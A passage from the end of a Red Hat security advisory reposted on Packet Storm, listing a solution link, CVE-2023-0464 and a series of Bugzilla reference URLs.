section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-0464References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2181082https://bugzilla.redhat.com/show_bug.cgi?id=2182561https://bugzilla.redhat.com/show_bug.cgi?id=2182565https://bugzilla.redhat.com/show_bug.cgi?id=2207947https://bugzilla.redhat.com/show_bug.cgi?id=2224962https://bugzilla.redhat.com/show_bug.cgi?id=2227852https://bugzilla.redhat.com/show_bug.cgi?id=2238847https://bugzilla.redhat.com/show_bug.cgi?id=2239135https://bugzilla.redhat.com/show_bug.cgi?id=2241933https://bugzilla.redhat.com/show_bug.cgi?id=2241938https://bugzilla.redhat.com/show_bug.cgi?id=2243877

Source

Packet Storm